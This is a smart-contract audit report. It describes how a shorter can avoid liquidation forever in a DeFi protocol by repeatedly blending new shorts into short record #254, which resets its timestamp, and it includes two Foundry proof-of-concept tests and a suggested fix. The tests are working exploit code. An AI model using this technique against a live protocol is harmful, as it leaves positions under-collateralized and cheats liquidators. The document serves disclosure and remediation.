Summary
A malicious shorter can create a short record in position 254 and keep on escaping liquidation attempts by flaggers indefinitely, meanwhile enjoying less than mandated cRatio.
Vulnerability Details
As per docs :
shortRecordIdCounter is a uint8 (max 255) for struct packing/gas saving purposes but can overflow relatively easily. A malicious actor can create the max number of shortRecords and prevent matching by flooding the orderbook with short orders that overflow shortRecordIdCounter upon creation of the next shortRecord.
To counteract this behavior the shortRecord in position 254 is modified/blended anytime a new shortRecord would have been created with a shortRecordIdCounter greater than 254.
The issue with the above is that if short records till position 254 have been already created, createShortRecord() internally calls fillShortRecord() which then calls merge() which updates the short.updatedAt to current time stamp.
In essence, every time any new short record is created post the #254 mark, it is blended into the existing #254 and the timestamp is reset to current time.
Now, imagine the following flow of events:
#1. maliciousShorter creates short records till position #254 with minimum amounts.
#2. maliciousShorter creates the actual, large short now. Optional: Note that the maliciousShorter now has an option of exiting the previous short records (position #2 to position #253) if he wants to.
#3. After some time, unfavourable price movement causes the short's cRatio to be below primaryLiquidationCR.
#4. flagger flags the short record at position #254. flagger can now liquidate this if cRatio does not come back up within next 10 hours.
#5. Seeing the flag, maliciousShorter simply adds a new short record (which gets blended into #254) and causes updatedAt to be reset to current timestamp for #254. Optional: If he had exited his previous short records from position #2 to #253 in step 2 above, then he will first need to recreate them.
#6. flagger can't liquidate now even after 10 hours have passed due to Errors.MarginCallIneligibleWindow().
#7. maliciousShorter keeps on doing this every time someone flags the short record. He escapes liquidation perpetually.
Below are two PoCs. PoC-1 is without the optional step of cancellation of positions #2-#253. PoC-2 shows that optional step.
PoC-1
Paste the following test inside test/AskShortOrders.t.sol and run via forge test --mt test_escapeLiquidationPerpetually -vv:
function test_escapeLiquidationPerpetually() public {
address _flagger_ = makeAddr("_flagger_");
address maliciousShorter = sender;
for (uint256 i = Constants.SHORT_STARTING_ID; i < 256; i++) {
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, maliciousShorter);
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, maliciousShorter);
}
assertEq(getShortRecord(maliciousShorter, 253).ercDebt, DEFAULT_AMOUNT);
assertEq(getShortRecord(maliciousShorter, 254).ercDebt, DEFAULT_AMOUNT * 2);
assertEq(getShortRecord(maliciousShorter, 255).ercDebt, 0);
assertEq(
getShortRecord(maliciousShorter, 254).updatedAt,
diamond.getOffsetTimeHours(),
"short record `updatedAt` mismatch"
);
skipTimeAndSetEth({skipTime: 5 minutes, ethPrice: 1900 ether});
assertLt(
diamond.getCollateralRatio(asset, getShortRecord(maliciousShorter, 254)),
diamond.getAssetNormalizedStruct(asset).primaryLiquidationCR,
"cRatio is not less than primaryLiquidationCR"
);
vm.prank(_flagger_);
diamond.flagShort(asset, maliciousShorter, 254, 254);
assertGt(
getShortRecord(maliciousShorter, 254).flaggerId, 0, "short record not flagged"
);
skipTimeAndSetEth({skipTime: 9 hours + 55 minutes, ethPrice: 1900 ether});
fundLimitShortOpt(0.000527 ether, DEFAULT_AMOUNT * 10, maliciousShorter);
fundLimitBidOpt(0.000527 ether, DEFAULT_AMOUNT, maliciousShorter);
assertEq(getShortRecord(maliciousShorter, 254).ercDebt, DEFAULT_AMOUNT * 3);
assertEq(
getShortRecord(maliciousShorter, 254).updatedAt,
diamond.getOffsetTimeHours(),
"short record `updatedAt` was not updated"
);
fundLimitAskOpt(0.000527 ether, DEFAULT_AMOUNT, maliciousShorter);
skipTimeAndSetEth({skipTime: 1 hours, ethPrice: 1900 ether});
assertLt(
diamond.getCollateralRatio(asset, getShortRecord(maliciousShorter, 254)),
diamond.getAssetNormalizedStruct(asset).primaryLiquidationCR,
"cRatio >= primaryLiquidationCR"
);
vm.prank(_flagger_);
vm.expectRevert(Errors.MarginCallIneligibleWindow.selector);
diamond.liquidate(asset, maliciousShorter, 254, shortHintArrayStorage);
}
PoC-2
Paste the following test inside test/AskShortOrders.t.sol and run via forge test --mt test_2_escapeLiquidationPerpetually -vv:
function test_2_escapeLiquidationPerpetually() public {
address _flagger_ = makeAddr("_flagger_");
address maliciousShorter = sender;
for (uint256 i = Constants.SHORT_STARTING_ID; i < 256; i++) {
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, maliciousShorter);
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, maliciousShorter);
}
assertEq(getShortRecord(maliciousShorter, 253).ercDebt, DEFAULT_AMOUNT);
assertEq(getShortRecord(maliciousShorter, 254).ercDebt, DEFAULT_AMOUNT * 2);
assertEq(getShortRecord(maliciousShorter, 255).ercDebt, 0);
assertEq(
getShortRecord(maliciousShorter, 254).updatedAt,
diamond.getOffsetTimeHours(),
"short record `updatedAt` mismatch"
);
for (uint8 i = Constants.SHORT_STARTING_ID; i < 254; i++) {
depositUsd(maliciousShorter, DEFAULT_AMOUNT);
exitShortErcEscrowed(i, DEFAULT_AMOUNT, maliciousShorter);
assertTrue(getShortRecord(maliciousShorter, i).status == SR.Cancelled);
}
skipTimeAndSetEth({skipTime: 5 minutes, ethPrice: 1900 ether});
assertLt(
diamond.getCollateralRatio(asset, getShortRecord(maliciousShorter, 254)),
diamond.getAssetNormalizedStruct(asset).primaryLiquidationCR,
"cRatio is not less than primaryLiquidationCR"
);
vm.prank(_flagger_);
diamond.flagShort(asset, maliciousShorter, 254, 254);
assertGt(
getShortRecord(maliciousShorter, 254).flaggerId, 0, "short record not flagged"
);
skipTimeAndSetEth({skipTime: 9 hours + 55 minutes, ethPrice: 1900 ether});
for (uint256 i = Constants.SHORT_STARTING_ID; i < 254; i++) {
fundLimitBidOpt(0.000527 ether, DEFAULT_AMOUNT, maliciousShorter);
fundLimitShortOpt(0.000527 ether, DEFAULT_AMOUNT, maliciousShorter);
}
fundLimitShortOpt(0.000527 ether, DEFAULT_AMOUNT * 10, maliciousShorter);
fundLimitBidOpt(0.000527 ether, DEFAULT_AMOUNT, maliciousShorter);
assertEq(getShortRecord(maliciousShorter, 254).ercDebt, DEFAULT_AMOUNT * 3);
assertEq(
getShortRecord(maliciousShorter, 254).updatedAt,
diamond.getOffsetTimeHours(),
"short record `updatedAt` was not updated"
);
fundLimitAskOpt(0.000527 ether, DEFAULT_AMOUNT, maliciousShorter);
skipTimeAndSetEth({skipTime: 1 hours, ethPrice: 1900 ether});
assertLt(
diamond.getCollateralRatio(asset, getShortRecord(maliciousShorter, 254)),
diamond.getAssetNormalizedStruct(asset).primaryLiquidationCR,
"cRatio >= primaryLiquidationCR"
);
vm.prank(_flagger_);
vm.expectRevert(Errors.MarginCallIneligibleWindow.selector);
diamond.liquidate(asset, maliciousShorter, 254, shortHintArrayStorage);
}
Tools Used
Manual review, foundry.
Recommendations
The function combineShorts() does not allow merging short records if one of them was flagged, and if the new merged record would be still under-collateralized. A similar approach can be taken here by constraining the maliciousShorter from creating more limit shorts if existing #254 is flagged and the new short record does not make it over-collateralized.
